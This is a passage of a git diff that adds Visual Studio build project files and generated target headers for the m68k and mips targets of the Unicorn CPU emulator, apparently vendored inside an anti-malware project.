+ <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;__x86_64__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-m68k;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>m68k.h</ForcedIncludeFiles> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;__i386__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-m68k;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>m68k.h</ForcedIncludeFiles> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;__x86_64__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-m68k;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>m68k.h</ForcedIncludeFiles> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/m68k-softmmu/m68k-softmmu.vcxproj.filters b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/m68k-softmmu/m68k-softmmu.vcxproj.filters new file mode 100644 index 0000000..f348710 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/m68k-softmmu/m68k-softmmu.vcxproj.filters @@ -0,0 +1,110 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="fpu"> + <UniqueIdentifier>{45b613c4-9fdb-482c-b94f-0138ea9907c3}</UniqueIdentifier> + </Filter> + <Filter Include="hw"> + <UniqueIdentifier>{14f99bfc-becf-403c-9100-1612ab30a848}</UniqueIdentifier> + </Filter> + <Filter Include="hw\m68k"> + <UniqueIdentifier>{484590c4-abd5-4db4-8b06-b34087856c27}</UniqueIdentifier> + </Filter> + <Filter Include="target-m68k"> + <UniqueIdentifier>{476366de-d432-4ce4-8e04-64aa34326aa0}</UniqueIdentifier> + </Filter> + <Filter Include="tcg"> + <UniqueIdentifier>{63d2e327-f759-4757-a44b-90513ce433f7}</UniqueIdentifier> + </Filter> + <Filter Include="tcg\i386"> + <UniqueIdentifier>{574ebec7-47db-49de-8f59-3365337e42a7}</UniqueIdentifier> + </Filter> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-macros.h"> + <Filter>fpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-specialize.h"> + <Filter>fpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-ldst.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-null.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-op.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-opc.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-runtime.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\i386\tcg-target.h"> + <Filter>tcg\i386</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-m68k\cpu.h"> + <Filter>target-m68k</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-m68k\cpu-qom.h"> + <Filter>target-m68k</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-m68k\helper.h"> + <Filter>target-m68k</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-m68k\m68k-qreg.h"> + <Filter>target-m68k</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-m68k\unicorn.h"> + <Filter>target-m68k</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\m68k.h" /> + <ClInclude Include="..\config-host.h" /> + <ClInclude Include="config-target.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\qemu\fpu\softfloat.c"> + <Filter>fpu</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\optimize.c"> + <Filter>tcg</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\tcg.c"> + <Filter>tcg</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\i386\tcg-target.c"> + <Filter>tcg\i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\cpu-exec.c" /> + <ClCompile Include="..\..\..\qemu\cpus.c" /> + <ClCompile Include="..\..\..\qemu\cputlb.c" /> + <ClCompile Include="..\..\..\qemu\exec.c" /> + <ClCompile Include="..\..\..\qemu\ioport.c" /> + <ClCompile Include="..\..\..\qemu\memory.c" /> + <ClCompile Include="..\..\..\qemu\memory_mapping.c" /> + <ClCompile Include="..\..\..\qemu\translate-all.c" /> + <ClCompile Include="..\..\..\qemu\hw\m68k\dummy_m68k.c"> + <Filter>hw\m68k</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-m68k\cpu.c"> + <Filter>target-m68k</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-m68k\helper.c"> + <Filter>target-m68k</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-m68k\op_helper.c"> + <Filter>target-m68k</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-m68k\translate.c"> + <Filter>target-m68k</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-m68k\unicorn.c"> + <Filter>target-m68k</Filter> + </ClCompile> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips-softmmu/config-target.h b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips-softmmu/config-target.h new file mode 100644 index 0000000..85a5f1b --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips-softmmu/config-target.h @@ -0,0 +1,7 @@ +/* Automatically generated by create_config - do not modify */ +#define TARGET_ABI_MIPSO32 1 +#define TARGET_MIPS 1 +#define TARGET_NAME "mips" +#define TARGET_MIPS 1 +#define TARGET_WORDS_BIGENDIAN 1 +#define CONFIG_SOFTMMU 1 diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips-softmmu/mips-softmmu.vcxproj b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips-softmmu/mips-softmmu.vcxproj new file mode 100644 index 0000000..0cc7b08 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips-softmmu/mips-softmmu.vcxproj @@ -0,0 +1,237 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-macros.h" /> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-specialize.h" /> + <ClInclude Include="..\..\..\qemu\target-mips\cpu-qom.h" /> + <ClInclude Include="..\..\..\qemu\target-mips\cpu.h" /> + <ClInclude Include="..\..\..\qemu\target-mips\helper.h" /> + <ClInclude Include="..\..\..\qemu\target-mips\mips-defs.h" /> + <ClInclude Include="..\..\..\qemu\target-mips\unicorn.h" /> + <ClInclude Include="..\..\..\qemu\tcg\i386\tcg-target.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-ldst.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-null.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-op.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-opc.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-runtime.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg.h" /> + <ClInclude Include="..\..\..\qemu\mips.h" /> + <ClInclude Include="..\config-host.h" /> + <ClInclude Include="config-target.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\qemu\cpu-exec.c" /> + <ClCompile Include="..\..\..\qemu\cpus.c" /> + <ClCompile Include="..\..\..\qemu\cputlb.c" /> + <ClCompile Include="..\..\..\qemu\exec.c" /> + <ClCompile Include="..\..\..\qemu\fpu\softfloat.c" /> + <ClCompile Include="..\..\..\qemu\hw\mips\addr.c" /> + <ClCompile Include="..\..\..\qemu\hw\mips\cputimer.c" /> + <ClCompile Include="..\..\..\qemu\hw\mips\mips_r4k.c" /> + <ClCompile Include="..\..\..\qemu\ioport.c" /> + <ClCompile Include="..\..\..\qemu\memory.c" /> + <ClCompile Include="..\..\..\qemu\memory_mapping.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\cpu.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\dsp_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\helper.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\lmi_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\msa_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\op_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\translate.c" /> + <ClCompile Include="..\..\..\qemu\target-mips\translate_init.c"> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">true</ExcludedFromBuild> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\unicorn.c" /> + <ClCompile Include="..\..\..\qemu\tcg\i386\tcg-target.c"> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">true</ExcludedFromBuild> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\optimize.c" /> + <ClCompile Include="..\..\..\qemu\tcg\tcg.c" /> + <ClCompile Include="..\..\..\qemu\translate-all.c" /> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{63050112-E486-4396-B5E4-303C3BC12D39}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>mipssoftmmu</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <SpectreMitigation>false</SpectreMitigation> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;__i386__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-mips;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>mips.h</ForcedIncludeFiles> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;__x86_64__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-mips;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>mips.h</ForcedIncludeFiles> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;__i386__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-mips;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>mips.h</ForcedIncludeFiles> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;__x86_64__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-mips;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>mips.h</ForcedIncludeFiles> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips-softmmu/mips-softmmu.vcxproj.filters b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips-softmmu/mips-softmmu.vcxproj.filters new file mode 100644 index 0000000..893a255 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips-softmmu/mips-softmmu.vcxproj.filters @@ -0,0 +1,128 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="fpu"> + <UniqueIdentifier>{723b39e0-f3cc-46d9-b9e8-6fe7e38bdf26}</UniqueIdentifier> + </Filter> + <Filter Include="hw"> + <UniqueIdentifier>{19efec2a-ac41-4941-9dfc-4937f91829b4}</UniqueIdentifier> + </Filter> + <Filter Include="hw\mips"> + <UniqueIdentifier>{0784e023-e00c-4034-adc4-9b1ad07d2eb7}</UniqueIdentifier> + </Filter> + <Filter Include="target-mips"> + <UniqueIdentifier>{d60f24b3-d409-40d8-b7d2-f3e71960841a}</UniqueIdentifier> + </Filter> + <Filter Include="tcg"> + <UniqueIdentifier>{1c2a8ce7-cc6f-41e8-b532-a2f030f6799d}</UniqueIdentifier> + </Filter> + <Filter Include="tcg\i386"> + <UniqueIdentifier>{65e8fb9c-fe61-4100-9f0e-1eab5babb4d3}</UniqueIdentifier> + </Filter> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-macros.h"> + <Filter>fpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-specialize.h"> + <Filter>fpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-ldst.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-null.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-op.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-opc.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-runtime.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\i386\tcg-target.h"> + <Filter>tcg\i386</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-mips\cpu.h"> + <Filter>target-mips</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-mips\cpu-qom.h"> + <Filter>target-mips</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-mips\helper.h"> + <Filter>target-mips</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-mips\mips-defs.h"> + <Filter>target-mips</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-mips\unicorn.h"> + <Filter>target-mips</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\mips.h" /> + <ClInclude Include="..\config-host.h" /> + <ClInclude Include="config-target.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\qemu\cpu-exec.c" /> + <ClCompile Include="..\..\..\qemu\cpus.c" /> + <ClCompile Include="..\..\..\qemu\cputlb.c" /> + <ClCompile Include="..\..\..\qemu\exec.c" /> + <ClCompile Include="..\..\..\qemu\ioport.c" /> + <ClCompile Include="..\..\..\qemu\memory.c" /> + <ClCompile Include="..\..\..\qemu\memory_mapping.c" /> + <ClCompile Include="..\..\..\qemu\translate-all.c" /> + <ClCompile Include="..\..\..\qemu\fpu\softfloat.c"> + <Filter>fpu</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\optimize.c"> + <Filter>tcg</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\tcg.c"> + <Filter>tcg</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\i386\tcg-target.c"> + <Filter>tcg\i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\mips\mips_r4k.c"> + <Filter>hw\mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\mips\addr.c"> + <Filter>hw\mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\mips\cputimer.c"> + <Filter>hw\mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\cpu.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\dsp_helper.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\helper.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\lmi_helper.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\msa_helper.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\op_helper.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\translate.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\translate_init.c"> + <Filter>target-mips</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-mips\unicorn.c"> + <Filter>target-mips</Filter> + </ClCompile> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips64-softmmu/config-target.h b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/mips64-softmmu/config-target.h new file mode 100644 index 0000000..ca9e642 --- 